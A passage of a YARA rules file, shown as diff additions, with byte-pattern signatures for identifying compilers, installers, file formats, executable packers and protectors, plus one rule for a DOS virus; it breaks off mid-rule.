+rule _FreePascal_200_Win32__Brczi_Gbor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 2.0.0 Win32 -> (Bérczi Gábor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 00 E8 C5 01 00 00 89 D8 E8 3E 02 00 00 E8 B9 01 00 00 E8 54 02 00 00 8B 5D FC C9 C3 8D 76 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 E5 C6 05 10 80 40 00 00 E8 D1 03 00 00 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? 70 40 00 55 31 ED 89 E0 A3 20 80 40 00 66 8C D5 89 2D 30 80 40 00 E8 B9 03 00 00 31 ED E8 72 FF FF FF 5D E8 BC 03 00 00 C9 C3 00 00 00 00 00 00 00 00 00 00 55 89 E5 83 EC 08 E8 15 04 00 00 A1 ?? 70 40 00 89 45 F8 B8 01 00 00 00 89 45 FC 3B 45 F8 7F 2A FF 4D FC 90 FF 45 FC 8B 45 FC 83 3C C5 ?? 70 40 00 00 74 09 8B 04 C5 ?? 70 40}
+	condition:
+		$0 at entrypoint
+}
+rule _CGM_Graphics_format_
+{
+	meta:
+		description = "CGM Graphics format"
+	strings:
+		$0 = {00 2A 08 48 69 4A 61 61 6B 20 32}
+	condition:
+		$0
+}
+rule _SCAN_AV_
+{
+	meta:
+		description = "SCAN /AV"
+	strings:
+		$0 = {1E 0E 1F B8 ?? ?? 8E C0 26 8A 1E ?? ?? 80 ?? ?? 72}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099_Special_Build__heXer__forgot_
+{
+	meta:
+		description = "tElock 0.99 Special Build -> heXer & forgot"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+	condition:
+		$0
+}
+rule _Zortech_C_v30_
+{
+	meta:
+		description = "Zortech C v3.0"
+	strings:
+		$0 = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v156_
+{
+	meta:
+		description = "PECompact v1.56"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v016b__v0163b_
+{
+	meta:
+		description = "CodeCrypt v0.16b - v0.163b"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_12_Seek_and_Destroy_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard 1.2 Seek and Destroy Patch"
+	strings:
+		$0 = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75}
+	condition:
+		$0
+}
+rule _eXPressor_10_beta__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.0 beta -> CGSoftLabs"
+	strings:
+		$0 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+		$1 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 77 20 3D 20 30 78 25 30 34 78 20 20 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 00 00 00 00 00 00 42 61 64 20 70 6F 69 6E 74 65 72 3A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 45 72 72 6F 72 3A 00 00 54 68 65 20 25 68 73 20 66 69 6C 65 20 69 73 20 0A 6C 69 6E 6B 65 64 20 74 6F 20 6D 69 73 73 69 6E 67 20 65 78 70}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Inliner_10_by_GPcH_
+{
+	meta:
+		description = "UPX Inliner 1.0 by GPcH"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+	condition:
+		$0
+}
+rule _PuNkMoD_1x__PuNkDuDe_
+{
+	meta:
+		description = "PuNkMoD 1.x -> PuNkDuDe"
+	strings:
+		$0 = {94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_118_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_12__c1998_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.2 -> (c)1998 Ian Luck (h)"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 02 03 03 03 03 04 04 04 04 05 05 05 05 00 70 70 01 00 02 00 03 00 04 00 05 00 07 00 09 00 0D 00 11 00 19 00 21 00 31 00 41 00 61 00 81 00 C1 00 01 01 81 01 01 02 01 03 01 04 01 06 01 08 01 0C 01 10 01 18 01 20 01 30 01 40 01 60 00 00 00 00 01 01 02 02 03 03 04 04 05 05 06 06 07 07 08 08 09 09 0A 0A 0B 0B 0C 0C 0D 0D 10 11 12 00 08 07 09 06 0A 05 0B 04 0C 03 0D 02 0E 01 0F 58 2C 08 50 8B C8 8B D0 81 C1 ?? D2 00 00 81 C2 ?? ?? 00 00 89 20 8B E1 50 81 2C 24 00 ?? ?? ?? FF 30 50 80 04 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Duals_eXe_10_
+{
+	meta:
+		description = "Dual's eXe 1.0"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+		$1 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 0E 04 00 00 89 03 58 83 C3 04 EB E3 8D 85 24 03 00 00 50 68 1F 00 02 00 6A 00 8D 85 48 03 00 00 50 68 01 00 00 80 FF 95 69 02 00 00 83 BD 24 03 00 00 00 0F 84 8B 00 00 00 C7 85 28 03 00 00 04 00 00 00 8D 85 28 03 00 00 50 8D 85 20 03 00 00 50 8D 85 6C 03 00 00 50 6A 00 8D 85 62 03 00 00 50 FF B5 24 03 00 00 FF 95 71 02 00 00 83 BD 20 03 00 00 01 7E 02 EB 20 6A 40 8D 85 73 03 00 00 50 8D 85 82 03 00 00 50 6A 00 FF 95 61 02 00 00 6A 00 FF 95 65 02 00 00 FF 8D 20 03 00 00 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Symantec_C_v210_v400_or_Zortech_C_v30r1_
+{
+	meta:
+		description = "Symantec C v2.10, v4.00 or Zortech C v3.0r1"
+	strings:
+		$0 = {FA FC B8 ?? ?? 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1820_p__Oreans_Technologies__Sign_by_fly_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.2.0 + -> Oreans Technologies ! Sign by fly"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_2x_
+{
+	meta:
+		description = "MinGW GCC 2.x"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Pack_099_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Pack 0.99]"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_226_minimum_protection__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.2.6 (minimum protection) -> www.strongbit.com"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0}
+	condition:
+		$0
+}
+rule _SDProtector_1x__Randy_Li_
+{
+	meta:
+		description = "SDProtector 1.x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+		$1 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_FaxFreeTopo_
+{
+	meta:
+		description = "Vx: FaxFree.Topo"
+	strings:
+		$0 = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _App_Encryptor__Silent_Team_
+{
+	meta:
+		description = "App Encryptor -> Silent Team"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _32Lite_v003a_
+{
+	meta:
+		description = "32Lite v0.03a"
+	strings:
+		$0 = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Launcher_Generator_103_
+{
+	meta:
+		description = "Launcher Generator 1.03"
+	strings:
+		$0 = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+	condition:
+		$0
+}
+rule _Armadillo_v190c_
+{
+	meta:
+		description = "Armadillo v1.90c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v113_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32__Microsoft_Visual_Basic_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)"
+	strings:
+		$0 = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_031032__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 031/032) -> GlOFF"
+	strings:
+		$0 = {50 32 ?? 66 8B C3 58 E8 ?? FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_20_RC2_
+{
+	meta:
+		description = "Nullsoft Install System 2.0 RC2"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_PEX_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEX 0.99] -> Anorganix"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_Beta__v031_Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.29 Beta ~ v0.31 Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+	condition:
+		$0
+}
+rule _Themida_10xx__18xx_no_compression__Oreans_Technologies_h_
+{
+	meta:
+		description = "Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies (h)"
+	strings:
+		$0 = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00}
+		$1 = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8D 45 80 8B 5D 08 C7 85 7C FF FF FF 00 00 00 00 8B 8D 7C FF FF FF D1 C3 88 18 41 89 8D 7C FF FF FF 81 BD 7C FF FF FF 80 00 00 00 75 E3 C7 85 7C FF FF FF 00 00 00 00 8D BA ?? ?? ?? ?? 8D 75 80 8A 0E BB F4 01 00 00 B8 AB 37 54 78 D3 D0 8A 0F D3 D0 4B 75 F7 0F AF C3 47 46 8B 8D 7C FF FF FF 41 89 8D 7C FF FF FF 81 F9 80 00 00 00 75 D1 61 C9 C2 04 00 55 8B EC 83 C4 F0 8B 75 08 C7 45 FC 00 00 00 00 EB 04 FF 45 FC 46 80 3E 00 75 F7 BA 00 00 00 00 8B 75 08 8B 7D 0C EB 7F C7 45 F8 00 00 00 00 EB}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _BobSoft_Mini_Delphi__BoB__BobSoft_
+{
+	meta:
+		description = "BobSoft Mini Delphi -> BoB / BobSoft"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+		$1 = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+		$2 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PEMangle_
+{
+	meta:
+		description = "PEMangle"
+	strings:
+		$0 = {60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _DSHIELD_
+{
+	meta:
+		description = "DSHIELD"
+	strings:
+		$0 = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_211__212__Fisun_Alexander_
+{
+	meta:
+		description = "ORiEN 2.11 - 2.12 -> Fisun Alexander"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0
+}
+rule _Upack_v010__v012Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.10 - v0.12Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Fusion_10__jaNooNi_
+{
+	meta:
+		description = "Fusion 1.0 -> jaNooNi"
+	strings:
+		$0 = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v1033_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.03.3 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 4B 0C 41 00 81 E9 01 E3 40 00 8B D5 81 C2 01 E3 40 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 9C 22 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 CC CC CC CC AC}
+	condition:
+		$0 at entrypoint
+}
+rule _BGI_Stroked_Font_v11_
+{
+	meta:
+		description = "BGI Stroked Font v.1.1"
+	strings:
+		$0 = {50 4B 08 08 42 47 49 20 53 74 72 6F 6B 65 64 20 46 6F 6E 74 20 56 31 2E 31}
+	condition:
+		$0
+}
+rule _eXPressor_13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.3 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v1__Vaska_
+{
+	meta:
+		description = "RCryptor v1.?? -> Vaska"
+	strings:
+		$0 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Prepared_by_SLR_OPTLINK_
+{
+	meta:
+		description = "Prepared by SLR (OPTLINK)"
+	strings:
+		$0 = {87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 ?? ?? 16 07 0E 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V12X__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.X -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact_253_DLL_Slim_Loader__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.53 DLL (Slim Loader) -> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_v20a_
+{
+	meta:
+		description = "Private EXE v2.0a"
+	strings:
+		$0 = {53 E8 00 00 00 00 5B 8B C3 2D}
+		$1 = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _BeRoEXEPacker_v100__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+		$1 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC ?? ?? ?? ?? A4 ?? ?? ?? ?? 00 ?? ?? ?? ?? 33 C9 E8 64 00 00 00 73 1C ?? ?? ?? ?? 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 ?? ?? ?? ?? D4 E8}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _ACProtect_14x__RISCO_soft_
+{
+	meta:
+		description = "ACProtect 1.4x -> RISCO soft"
+	strings:
+		$0 = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+		$1 = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+	condition:
+		$0 or $1
+}
+rule _NsPack_34__North_Star_
+{
+	meta:
+		description = "NsPack 3.4 -> North Star"
+	strings:
